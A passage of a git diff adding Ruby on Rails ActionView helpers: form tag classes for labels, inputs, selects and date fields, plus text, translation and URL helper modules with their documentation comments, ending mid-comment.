+++ b/actionpack/lib/action_view/helpers/tags/label.rb
@@ -0,0 +1,65 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class Label < Base # :nodoc:
+ def initialize(object_name, method_name, template_object, content_or_options = nil, options = nil)
+ options ||= {}
+
+ content_is_options = content_or_options.is_a?(Hash)
+ if content_is_options
+ options.merge! content_or_options
+ @content = nil
+ else
+ @content = content_or_options
+ end
+
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render(&block)
+ options = @options.stringify_keys
+ tag_value = options.delete("value")
+ name_and_id = options.dup
+
+ if name_and_id["for"]
+ name_and_id["id"] = name_and_id["for"]
+ else
+ name_and_id.delete("id")
+ end
+
+ add_default_name_and_id_for_value(tag_value, name_and_id)
+ options.delete("index")
+ options.delete("namespace")
+ options["for"] = name_and_id["id"] unless options.key?("for")
+
+ if block_given?
+ content = @template_object.capture(&block)
+ else
+ content = if @content.blank?
+ @object_name.gsub!(/\[(.*)_attributes\]\[\d\]/, '.\1')
+ method_and_value = tag_value.present? ? "#{@method_name}.#{tag_value}" : @method_name
+
+ if object.respond_to?(:to_model)
+ key = object.class.model_name.i18n_key
+ i18n_default = ["#{key}.#{method_and_value}".to_sym, ""]
+ end
+
+ i18n_default ||= ""
+ I18n.t("#{@object_name}.#{method_and_value}", :default => i18n_default, :scope => "helpers.label").presence
+ else
+ @content.to_s
+ end
+
+ content ||= if object && object.class.respond_to?(:human_attribute_name)
+ object.class.human_attribute_name(@method_name)
+ end
+
+ content ||= @method_name.humanize
+ end
+
+ label_tag(name_and_id["id"], content, options)
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/month_field.rb b/actionpack/lib/action_view/helpers/tags/month_field.rb
new file mode 100644
index 0000000..4c0fb84
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/month_field.rb
@@ -0,0 +1,13 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class MonthField < DatetimeField # :nodoc:
+ private
+
+ def format_date(value)
+ value.try(:strftime, "%Y-%m")
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/number_field.rb b/actionpack/lib/action_view/helpers/tags/number_field.rb
new file mode 100644
index 0000000..4f95b1b
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/number_field.rb
@@ -0,0 +1,18 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class NumberField < TextField # :nodoc:
+ def render
+ options = @options.stringify_keys
+
+ if range = options.delete("in") || options.delete("within")
+ options.update("min" => range.min, "max" => range.max)
+ end
+
+ @options = options
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/password_field.rb b/actionpack/lib/action_view/helpers/tags/password_field.rb
new file mode 100644
index 0000000..6099fa6
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/password_field.rb
@@ -0,0 +1,12 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class PasswordField < TextField # :nodoc:
+ def render
+ @options = {:value => nil}.merge!(@options)
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/radio_button.rb b/actionpack/lib/action_view/helpers/tags/radio_button.rb
new file mode 100644
index 0000000..4849c53
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/radio_button.rb
@@ -0,0 +1,31 @@
+require 'action_view/helpers/tags/checkable'
+
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class RadioButton < Base # :nodoc:
+ include Checkable
+
+ def initialize(object_name, method_name, template_object, tag_value, options)
+ @tag_value = tag_value
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render
+ options = @options.stringify_keys
+ options["type"] = "radio"
+ options["value"] = @tag_value
+ options["checked"] = "checked" if input_checked?(object, options)
+ add_default_name_and_id_for_value(@tag_value, options)
+ tag("input", options)
+ end
+
+ private
+
+ def checked?(value)
+ value.to_s == @tag_value.to_s
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/range_field.rb b/actionpack/lib/action_view/helpers/tags/range_field.rb
new file mode 100644
index 0000000..f98ae88
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/range_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class RangeField < NumberField # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/search_field.rb b/actionpack/lib/action_view/helpers/tags/search_field.rb
new file mode 100644
index 0000000..c09e2f1
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/search_field.rb
@@ -0,0 +1,24 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class SearchField < TextField # :nodoc:
+ def render
+ options = @options.stringify_keys
+
+ if options["autosave"]
+ if options["autosave"] == true
+ options["autosave"] = request.host.split(".").reverse.join(".")
+ end
+ options["results"] ||= 10
+ end
+
+ if options["onsearch"]
+ options["incremental"] = true unless options.has_key?("incremental")
+ end
+
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/select.rb b/actionpack/lib/action_view/helpers/tags/select.rb
new file mode 100644
index 0000000..d64e2f6
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/select.rb
@@ -0,0 +1,40 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class Select < Base # :nodoc:
+ def initialize(object_name, method_name, template_object, choices, options, html_options)
+ @choices = choices
+ @choices = @choices.to_a if @choices.is_a?(Range)
+ @html_options = html_options
+
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render
+ option_tags_options = {
+ :selected => @options.fetch(:selected) { value(@object) },
+ :disabled => @options[:disabled]
+ }
+
+ option_tags = if grouped_choices?
+ grouped_options_for_select(@choices, option_tags_options)
+ else
+ options_for_select(@choices, option_tags_options)
+ end
+
+ select_content_tag(option_tags, @options, @html_options)
+ end
+
+ private
+
+ # Grouped choices look like this:
+ #
+ # [nil, []]
+ # { nil => [] }
+ def grouped_choices?
+ !@choices.empty? && @choices.first.respond_to?(:last) && Array === @choices.first.last
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/tel_field.rb b/actionpack/lib/action_view/helpers/tags/tel_field.rb
new file mode 100644
index 0000000..987bb9e
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/tel_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class TelField < TextField # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/text_area.rb b/actionpack/lib/action_view/helpers/tags/text_area.rb
new file mode 100644
index 0000000..c81156c
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/text_area.rb
@@ -0,0 +1,18 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class TextArea < Base # :nodoc:
+ def render
+ options = @options.stringify_keys
+ add_default_name_and_id(options)
+
+ if size = options.delete("size")
+ options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
+ end
+
+ content_tag("textarea", options.delete('value') || value_before_type_cast(object), options)
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/text_field.rb b/actionpack/lib/action_view/helpers/tags/text_field.rb
new file mode 100644
index 0000000..baa5ff7
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/text_field.rb
@@ -0,0 +1,29 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class TextField < Base # :nodoc:
+ def render
+ options = @options.stringify_keys
+ options["size"] = options["maxlength"] unless options.key?("size")
+ options["type"] ||= field_type
+ options["value"] = options.fetch("value"){ value_before_type_cast(object) } unless field_type == "file"
+ options["value"] &&= ERB::Util.html_escape(options["value"])
+ add_default_name_and_id(options)
+ tag("input", options)
+ end
+
+ class << self
+ def field_type
+ @field_type ||= self.name.split("::").last.sub("Field", "").downcase
+ end
+ end
+
+ private
+
+ def field_type
+ self.class.field_type
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/time_field.rb b/actionpack/lib/action_view/helpers/tags/time_field.rb
new file mode 100644
index 0000000..0e90a3a
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/time_field.rb
@@ -0,0 +1,13 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class TimeField < DatetimeField # :nodoc:
+ private
+
+ def format_date(value)
+ value.try(:strftime, "%T.%L")
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/time_select.rb b/actionpack/lib/action_view/helpers/tags/time_select.rb
new file mode 100644
index 0000000..0b06311
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/time_select.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class TimeSelect < DateSelect # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/time_zone_select.rb b/actionpack/lib/action_view/helpers/tags/time_zone_select.rb
new file mode 100644
index 0000000..80d165e
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/time_zone_select.rb
@@ -0,0 +1,20 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class TimeZoneSelect < Base # :nodoc:
+ def initialize(object_name, method_name, template_object, priority_zones, options, html_options)
+ @priority_zones = priority_zones
+ @html_options = html_options
+
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render
+ select_content_tag(
+ time_zone_options_for_select(value(@object) || @options[:default], @priority_zones, @options[:model] || ActiveSupport::TimeZone), @options, @html_options
+ )
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/url_field.rb b/actionpack/lib/action_view/helpers/tags/url_field.rb
new file mode 100644
index 0000000..d763401
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/url_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class UrlField < TextField # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/week_field.rb b/actionpack/lib/action_view/helpers/tags/week_field.rb
new file mode 100644
index 0000000..5b3d049
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/week_field.rb
@@ -0,0 +1,13 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class WeekField < DatetimeField # :nodoc:
+ private
+
+ def format_date(value)
+ value.try(:strftime, "%Y-W%W")
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/text_helper.rb b/actionpack/lib/action_view/helpers/text_helper.rb
new file mode 100644
index 0000000..147f9fd
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/text_helper.rb
@@ -0,0 +1,442 @@
+require 'active_support/core_ext/string/filters'
+require 'active_support/core_ext/array/extract_options'
+
+module ActionView
+ # = Action View Text Helpers
+ module Helpers #:nodoc:
+ # The TextHelper module provides a set of methods for filtering, formatting
+ # and transforming strings, which can reduce the amount of inline Ruby code in
+ # your views. These helper methods extend Action View making them callable
+ # within your template files.
+ #
+ # ==== Sanitization
+ #
+ # Most text helpers by default sanitize the given content, but do not escape it.
+ # This means HTML tags will appear in the page but all malicious code will be removed.
+ # Let's look at some examples using the +simple_format+ method:
+ #
+ # simple_format('<a href="http://example.com/">Example</a>')
+ # # => "<p><a href=\"http://example.com/\">Example</a></p>"
+ #
+ # simple_format('<a href="javascript:alert(\'no!\')">Example</a>')
+ # # => "<p><a>Example</a></p>"
+ #
+ # If you want to escape all content, you should invoke the +h+ method before
+ # calling the text helper.
+ #
+ # simple_format h('<a href="http://example.com/">Example</a>')
+ # # => "<p><a href=\"http://example.com/\">Example</a></p>"
+ module TextHelper
+ extend ActiveSupport::Concern
+
+ include SanitizeHelper
+ include TagHelper
+ # The preferred method of outputting text in your views is to use the
+ # <%= "text" %> eRuby syntax. The regular _puts_ and _print_ methods
+ # do not operate as expected in an eRuby code block. If you absolutely must
+ # output text within a non-output code block (i.e., <% %>), you can use the concat method.
+ #
+ # <%
+ # concat "hello"
+ # # is the equivalent of <%= "hello" %>
+ #
+ # if logged_in
+ # concat "Logged in!"
+ # else
+ # concat link_to('login', action: :login)
+ # end
+ # # will either display "Logged in!" or a login link
+ # %>
+ def concat(string)
+ output_buffer << string
+ end
+
+ def safe_concat(string)
+ output_buffer.respond_to?(:safe_concat) ? output_buffer.safe_concat(string) : concat(string)
+ end
+
+ # Truncates a given +text+ after a given <tt>:length</tt> if +text+ is longer than <tt>:length</tt>
+ # (defaults to 30). The last characters will be replaced with the <tt>:omission</tt> (defaults to "...")
+ # for a total length not exceeding <tt>:length</tt>.
+ #
+ # Pass a <tt>:separator</tt> to truncate +text+ at a natural break.
+ #
+ # Pass a block if you want to show extra content when the text is truncated.
+ #
+ # The result is marked as HTML-safe, but it is escaped by default, unless <tt>:escape</tt> is
+ # +false+. Care should be taken if +text+ contains HTML tags or entities, because truncation
+ # may produce invalid HTML (such as unbalanced or incomplete tags).
+ #
+ # truncate("Once upon a time in a world far far away")
+ # # => "Once upon a time in a world..."
+ #
+ # truncate("Once upon a time in a world far far away", length: 17)
+ # # => "Once upon a ti..."
+ #
+ # truncate("Once upon a time in a world far far away", length: 17, separator: ' ')
+ # # => "Once upon a..."
+ #
+ # truncate("And they found that many people were sleeping better.", length: 25, omission: '... (continued)')
+ # # => "And they f... (continued)"
+ #
+ # truncate("<p>Once upon a time in a world far far away</p>")
+ # # => "<p>Once upon a time in a wo..."
+ #
+ # truncate("Once upon a time in a world far far away") { link_to "Continue", "#" }
+ # # => "Once upon a time in a wo...<a href="#">Continue</a>"
+ def truncate(text, options = {}, &block)
+ if text
+ length = options.fetch(:length, 30)
+
+ content = text.truncate(length, options)
+ content = options[:escape] == false ? content.html_safe : ERB::Util.html_escape(content)
+ content << capture(&block) if block_given? && text.length > length
+ content
+ end
+ end
+
+ # Highlights one or more +phrases+ everywhere in +text+ by inserting it into
+ # a <tt>:highlighter</tt> string. The highlighter can be specialized by passing <tt>:highlighter</tt>
+ # as a single-quoted string with <tt>\1</tt> where the phrase is to be inserted (defaults to
+ # '<mark>\1</mark>')
+ #
+ # highlight('You searched for: rails', 'rails')
+ # # => You searched for: <mark>rails</mark>
+ #
+ # highlight('You searched for: ruby, rails, dhh', 'actionpack')
+ # # => You searched for: ruby, rails, dhh
+ #
+ # highlight('You searched for: rails', ['for', 'rails'], highlighter: '<em>\1</em>')
+ # # => You searched <em>for</em>: <em>rails</em>
+ #
+ # highlight('You searched for: rails', 'rails', highlighter: '<a href="search?q=\1">\1</a>')
+ # # => You searched for: <a href="search?q=rails">rails</a>
+ def highlight(text, phrases, options = {})
+ text = sanitize(text) if options.fetch(:sanitize, true)
+
+ if text.blank? || phrases.blank?
+ text
+ else
+ highlighter = options.fetch(:highlighter, '<mark>\1</mark>')
+ match = Array(phrases).map { |p| Regexp.escape(p) }.join('|')
+ text.gsub(/(#{match})(?![^<]*?>)/i, highlighter)
+ end.html_safe
+ end
+
+ # Extracts an excerpt from +text+ that matches the first instance of +phrase+.
+ # The <tt>:radius</tt> option expands the excerpt on each side of the first occurrence of +phrase+ by the number of characters
+ # defined in <tt>:radius</tt> (which defaults to 100). If the excerpt radius overflows the beginning or end of the +text+,
+ # then the <tt>:omission</tt> option (which defaults to "...") will be prepended/appended accordingly. Use the
+ # <tt>:separator</tt> option to choose the delimitation. The resulting string will be stripped in any case. If the +phrase+
+ # isn't found, nil is returned.
+ #
+ # excerpt('This is an example', 'an', radius: 5)
+ # # => ...s is an exam...
+ #
+ # excerpt('This is an example', 'is', radius: 5)
+ # # => This is a...
+ #
+ # excerpt('This is an example', 'is')
+ # # => This is an example
+ #
+ # excerpt('This next thing is an example', 'ex', radius: 2)
+ # # => ...next...
+ #
+ # excerpt('This is also an example', 'an', radius: 8, omission: '<chop> ')
+ # # => <chop> is also an example
+ #
+ # excerpt('This is a very beautiful morning', 'very', separator: ' ', radius: 1)
+ # # => ...a very beautiful...
+ def excerpt(text, phrase, options = {})
+ return unless text && phrase
+
+ separator = options.fetch(:separator, "")
+ phrase = Regexp.escape(phrase)
+ regex = /#{phrase}/i
+
+ return unless matches = text.match(regex)
+ phrase = matches[0]
+
+ text.split(separator).each do |value|
+ if value.match(regex)
+ regex = phrase = value
+ break
+ end
+ end
+
+ first_part, second_part = text.split(regex, 2)
+
+ prefix, first_part = cut_excerpt_part(:first, first_part, separator, options)
+ postfix, second_part = cut_excerpt_part(:second, second_part, separator, options)
+
+ prefix + (first_part + separator + phrase + separator + second_part).strip + postfix
+ end
+
+ # Attempts to pluralize the +singular+ word unless +count+ is 1. If
+ # +plural+ is supplied, it will use that when count is > 1, otherwise
+ # it will use the Inflector to determine the plural form.
+ #
+ # pluralize(1, 'person')
+ # # => 1 person
+ #
+ # pluralize(2, 'person')
+ # # => 2 people
+ #
+ # pluralize(3, 'person', 'users')
+ # # => 3 users
+ #
+ # pluralize(0, 'person')
+ # # => 0 people
+ def pluralize(count, singular, plural = nil)
+ word = if (count == 1 || count =~ /^1(\.0+)?$/)
+ singular
+ else
+ plural || singular.pluralize
+ end
+
+ "#{count || 0} #{word}"
+ end
+
+ # Wraps the +text+ into lines no longer than +line_width+ width. This method
+ # breaks on the first whitespace character that does not exceed +line_width+
+ # (which is 80 by default).
+ #
+ # word_wrap('Once upon a time')
+ # # => Once upon a time
+ #
+ # word_wrap('Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding a successor to the throne turned out to be more trouble than anyone could have imagined...')
+ # # => Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding\na successor to the throne turned out to be more trouble than anyone could have\nimagined...
+ #
+ # word_wrap('Once upon a time', line_width: 8)
+ # # => Once\nupon a\ntime
+ #
+ # word_wrap('Once upon a time', line_width: 1)
+ # # => Once\nupon\na\ntime
+ def word_wrap(text, options = {})
+ line_width = options.fetch(:line_width, 80)
+
+ text.split("\n").collect do |line|
+ line.length > line_width ? line.gsub(/(.{1,#{line_width}})(\s+|$)/, "\\1\n").strip : line
+ end * "\n"
+ end
+
+ # Returns +text+ transformed into HTML using simple formatting rules.
+ # Two or more consecutive newlines(<tt>\n\n</tt>) are considered as a
+ # paragraph and wrapped in <tt><p></tt> tags. One newline (<tt>\n</tt>) is
+ # considered as a linebreak and a <tt><br /></tt> tag is appended. This
+ # method does not remove the newlines from the +text+.
+ #
+ # You can pass any HTML attributes into <tt>html_options</tt>. These
+ # will be added to all created paragraphs.
+ #
+ # ==== Options
+ # * <tt>:sanitize</tt> - If +false+, does not sanitize +text+.
+ # * <tt>:wrapper_tag</tt> - String representing the wrapper tag, defaults to <tt>"p"</tt>
+ #
+ # ==== Examples
+ # my_text = "Here is some basic text...\n...with a line break."
+ #
+ # simple_format(my_text)
+ # # => "<p>Here is some basic text...\n<br />...with a line break.</p>"
+ #
+ # simple_format(my_text, {}, wrapper_tag: "div")
+ # # => "<div>Here is some basic text...\n<br />...with a line break.</div>"
+ #
+ # more_text = "We want to put a paragraph...\n\n...right there."
+ #
+ # simple_format(more_text)
+ # # => "<p>We want to put a paragraph...</p>\n\n<p>...right there.</p>"
+ #
+ # simple_format("Look ma! A class!", class: 'description')
+ # # => "<p class='description'>Look ma! A class!</p>"
+ #
+ # simple_format("<blink>Unblinkable.</blink>")
+ # # => "<p>Unblinkable.</p>"
+ #
+ # simple_format("<blink>Blinkable!</blink> It's true.", {}, sanitize: false)
+ # # => "<p><blink>Blinkable!</span> It's true.</p>"
+ def simple_format(text, html_options = {}, options = {})
+ wrapper_tag = options.fetch(:wrapper_tag, :p)
+
+ text = sanitize(text) if options.fetch(:sanitize, true)
+ paragraphs = split_paragraphs(text)
+
+ if paragraphs.empty?
+ content_tag(wrapper_tag, nil, html_options)
+ else
+ paragraphs.map { |paragraph|
+ content_tag(wrapper_tag, paragraph, html_options, options[:sanitize])
+ }.join("\n\n").html_safe
+ end
+ end
+
+ # Creates a Cycle object whose _to_s_ method cycles through elements of an
+ # array every time it is called. This can be used for example, to alternate
+ # classes for table rows. You can use named cycles to allow nesting in loops.
+ # Passing a Hash as the last parameter with a <tt>:name</tt> key will create a
+ # named cycle. The default name for a cycle without a +:name+ key is
+ # <tt>"default"</tt>. You can manually reset a cycle by calling reset_cycle
+ # and passing the name of the cycle. The current cycle string can be obtained
+ # anytime using the current_cycle method.
+ #
+ # # Alternate CSS classes for even and odd numbers...
+ # @items = [1,2,3,4]
+ # <table>
+ # <% @items.each do |item| %>
+ # <tr class="<%= cycle("odd", "even") -%>">
+ # <td>item</td>
+ # </tr>
+ # <% end %>
+ # </table>
+ #
+ #
+ # # Cycle CSS classes for rows, and text colors for values within each row
+ # @items = x = [{first: 'Robert', middle: 'Daniel', last: 'James'},
+ # {first: 'Emily', middle: 'Shannon', maiden: 'Pike', last: 'Hicks'},
+ # {first: 'June', middle: 'Dae', last: 'Jones'}]
+ # <% @items.each do |item| %>
+ # <tr class="<%= cycle("odd", "even", name: "row_class") -%>">
+ # <td>
+ # <% item.values.each do |value| %>
+ # <%# Create a named cycle "colors" %>
+ # <span style="color:<%= cycle("red", "green", "blue", name: "colors") -%>">
+ # <%= value %>
+ # </span>
+ # <% end %>
+ # <% reset_cycle("colors") %>
+ # </td>
+ # </tr>
+ # <% end %>
+ def cycle(first_value, *values)
+ options = values.extract_options!
+ name = options.fetch(:name, 'default')
+
+ values.unshift(first_value)
+
+ cycle = get_cycle(name)
+ unless cycle && cycle.values == values
+ cycle = set_cycle(name, Cycle.new(*values))
+ end
+ cycle.to_s
+ end
+
+ # Returns the current cycle string after a cycle has been started. Useful
+ # for complex table highlighting or any other design need which requires
+ # the current cycle string in more than one place.
+ #
+ # # Alternate background colors
+ # @items = [1,2,3,4]
+ # <% @items.each do |item| %>
+ # <div style="background-color:<%= cycle("red","white","blue") %>">
+ # <span style="background-color:<%= current_cycle %>"><%= item %></span>
+ # </div>
+ # <% end %>
+ def current_cycle(name = "default")
+ cycle = get_cycle(name)
+ cycle.current_value if cycle
+ end
+
+ # Resets a cycle so that it starts from the first element the next time
+ # it is called. Pass in +name+ to reset a named cycle.
+ #
+ # # Alternate CSS classes for even and odd numbers...
+ # @items = [[1,2,3,4], [5,6,3], [3,4,5,6,7,4]]
+ # <table>
+ # <% @items.each do |item| %>
+ # <tr class="<%= cycle("even", "odd") -%>">
+ # <% item.each do |value| %>
+ # <span style="color:<%= cycle("#333", "#666", "#999", name: "colors") -%>">
+ # <%= value %>
+ # </span>
+ # <% end %>
+ #
+ # <% reset_cycle("colors") %>
+ # </tr>
+ # <% end %>
+ # </table>
+ def reset_cycle(name = "default")
+ cycle = get_cycle(name)
+ cycle.reset if cycle
+ end
+
+ class Cycle #:nodoc:
+ attr_reader :values
+
+ def initialize(first_value, *values)
+ @values = values.unshift(first_value)
+ reset
+ end
+
+ def reset
+ @index = 0
+ end
+
+ def current_value
+ @values[previous_index].to_s
+ end
+
+ def to_s
+ value = @values[@index].to_s
+ @index = next_index
+ return value
+ end
+
+ private
+
+ def next_index
+ step_index(1)
+ end
+
+ def previous_index
+ step_index(-1)
+ end
+
+ def step_index(n)
+ (@index + n) % @values.size
+ end
+ end
+
+ private
+ # The cycle helpers need to store the cycles in a place that is
+ # guaranteed to be reset every time a page is rendered, so it
+ # uses an instance variable of ActionView::Base.
+ def get_cycle(name)
+ @_cycles = Hash.new unless defined?(@_cycles)
+ return @_cycles[name]
+ end
+
+ def set_cycle(name, cycle_object)
+ @_cycles = Hash.new unless defined?(@_cycles)
+ @_cycles[name] = cycle_object
+ end
+
+ def split_paragraphs(text)
+ return [] if text.blank?
+
+ text.to_str.gsub(/\r\n?/, "\n").split(/\n\n+/).map! do |t|
+ t.gsub!(/([^\n]\n)(?=[^\n])/, '\1<br />') || t
+ end
+ end
+
+ def cut_excerpt_part(part_position, part, separator, options)
+ return "", "" unless part
+
+ radius = options.fetch(:radius, 100)
+ omission = options.fetch(:omission, "...")
+
+ part = part.split(separator)
+ part.delete("")
+ affix = part.size > radius ? omission : ""
+
+ part = if part_position == :first
+ drop_index = [part.length - radius, 0].max
+ part.drop(drop_index)
+ else
+ part.first(radius)
+ end
+
+ return affix, part.join(separator)
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/translation_helper.rb b/actionpack/lib/action_view/helpers/translation_helper.rb
new file mode 100644
index 0000000..ad8eb47
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/translation_helper.rb
@@ -0,0 +1,107 @@
+require 'action_view/helpers/tag_helper'
+require 'i18n/exceptions'
+
+module I18n
+ class ExceptionHandler
+ include Module.new {
+ def call(exception, locale, key, options)
+ exception.is_a?(MissingTranslation) && options[:rescue_format] == :html ? super.html_safe : super
+ end
+ }
+ end
+end
+
+module ActionView
+ # = Action View Translation Helpers
+ module Helpers
+ module TranslationHelper
+ # Delegates to <tt>I18n#translate</tt> but also performs three additional functions.
+ #
+ # First, it'll pass the <tt>rescue_format: :html</tt> option to I18n so that any
+ # thrown +MissingTranslation+ messages will be turned into inline spans that
+ #
+ # * have a "translation-missing" class set,
+ # * contain the missing key as a title attribute and
+ # * a titleized version of the last key segment as a text.
+ #
+ # E.g. the value returned for a missing translation key :"blog.post.title" will be
+ # <span class="translation_missing" title="translation missing: en.blog.post.title">Title</span>.
+ # This way your views will display rather reasonable strings but it will still
+ # be easy to spot missing translations.
+ #
+ # Second, it'll scope the key by the current partial if the key starts
+ # with a period. So if you call <tt>translate(".foo")</tt> from the
+ # <tt>people/index.html.erb</tt> template, you'll actually be calling
+ # <tt>I18n.translate("people.index.foo")</tt>. This makes it less repetitive
+ # to translate many keys within the same partials and gives you a simple framework
+ # for scoping them consistently. If you don't prepend the key with a period,
+ # nothing is converted.
+ #
+ # Third, it'll mark the translation as safe HTML if the key has the suffix
+ # "_html" or the last element of the key is the word "html". For example,
+ # calling translate("footer_html") or translate("footer.html") will return
+ # a safe HTML string that won't be escaped by other HTML helper methods. This
+ # naming convention helps to identify translations that include HTML tags so that
+ # you know what kind of output to expect when you call translate in a template.
+ def translate(key, options = {})
+ options.merge!(:rescue_format => :html) unless options.key?(:rescue_format)
+ options[:default] = wrap_translate_defaults(options[:default]) if options[:default]
+ if html_safe_translation_key?(key)
+ html_safe_options = options.dup
+ options.except(*I18n::RESERVED_KEYS).each do |name, value|
+ unless name == :count && value.is_a?(Numeric)
+ html_safe_options[name] = ERB::Util.html_escape(value.to_s)
+ end
+ end
+ translation = I18n.translate(scope_key_by_partial(key), html_safe_options)
+
+ translation.respond_to?(:html_safe) ? translation.html_safe : translation
+ else
+ I18n.translate(scope_key_by_partial(key), options)
+ end
+ end
+ alias :t :translate
+
+ # Delegates to <tt>I18n.localize</tt> with no additional functionality.
+ #
+ # See http://rubydoc.info/github/svenfuchs/i18n/master/I18n/Backend/Base:localize
+ # for more information.
+ def localize(*args)
+ I18n.localize(*args)
+ end
+ alias :l :localize
+
+ private
+ def scope_key_by_partial(key)
+ if key.to_s.first == "."
+ if @virtual_path
+ @virtual_path.gsub(%r{/_?}, ".") + key.to_s
+ else
+ raise "Cannot use t(#{key.inspect}) shortcut because path is not available"
+ end
+ else
+ key
+ end
+ end
+
+ def html_safe_translation_key?(key)
+ key.to_s =~ /(\b|_|\.)html$/
+ end
+
+ def wrap_translate_defaults(defaults)
+ new_defaults = []
+ defaults = Array(defaults)
+ while key = defaults.shift
+ if key.is_a?(Symbol)
+ new_defaults << lambda { |_, options| translate key, options.merge(:default => defaults) }
+ break
+ else
+ new_defaults << key
+ end
+ end
+
+ new_defaults
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/url_helper.rb b/actionpack/lib/action_view/helpers/url_helper.rb
new file mode 100644
index 0000000..22059a0
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/url_helper.rb
@@ -0,0 +1,634 @@
+require 'action_view/helpers/javascript_helper'
+require 'active_support/core_ext/array/access'
+require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/string/output_safety'
+
+module ActionView
+ # = Action View URL Helpers
+ module Helpers #:nodoc:
+ # Provides a set of methods for making links and getting URLs that
+ # depend on the routing subsystem (see ActionDispatch::Routing).
+ # This allows you to use the same format for links in views
+ # and controllers.
+ module UrlHelper
+ # This helper may be included in any class that includes the
+ # URL helpers of a routes (routes.url_helpers). Some methods
+ # provided here will only work in the context of a request
+ # (link_to_unless_current, for instance), which must be provided
+ # as a method called #request on the context.
+
+ extend ActiveSupport::Concern
+
+ include TagHelper
+
+ module ClassMethods
+ def _url_for_modules
+ ActionView::RoutingUrlFor
+ end
+ end
+
+ # Basic implementation of url_for to allow use helpers without routes existence
+ def url_for(options = nil) # :nodoc:
+ case options
+ when String
+ options
+ when :back
+ _back_url
+ else
+ raise ArgumentError, "arguments passed to url_for can't be handled. Please require " +
+ "routes or provide your own implementation"
+ end
+ end
+
+ def _back_url # :nodoc:
+ referrer = controller.respond_to?(:request) && controller.request.env["HTTP_REFERER"]
+ referrer || 'javascript:history.back()'
+ end
+ protected :_back_url
+
+ # Creates a link tag of the given +name+ using a URL created by the set of +options+.
+ # See the valid options in the documentation for +url_for+. It's also possible to
+ # pass a String instead of an options hash, which generates a link tag that uses the
+ # value of the String as the href for the link. Using a <tt>:back</tt> Symbol instead
+ # of an options hash will generate a link to the referrer (a JavaScript back link
+ # will be used in place of a referrer if none exists). If +nil+ is passed as the name
+ # the value of the link itself will become the name.
+ #
+ # ==== Signatures
+ #
+ # link_to(body, url, html_options = {})
+ # # url is a String; you can use URL helpers like
+ # # posts_path
+ #
+ # link_to(body, url_options = {}, html_options = {})
+ # # url_options, except :method, is passed to url_for
+ #
+ # link_to(options = {}, html_options = {}) do
+ # # name
+ # end
+ #
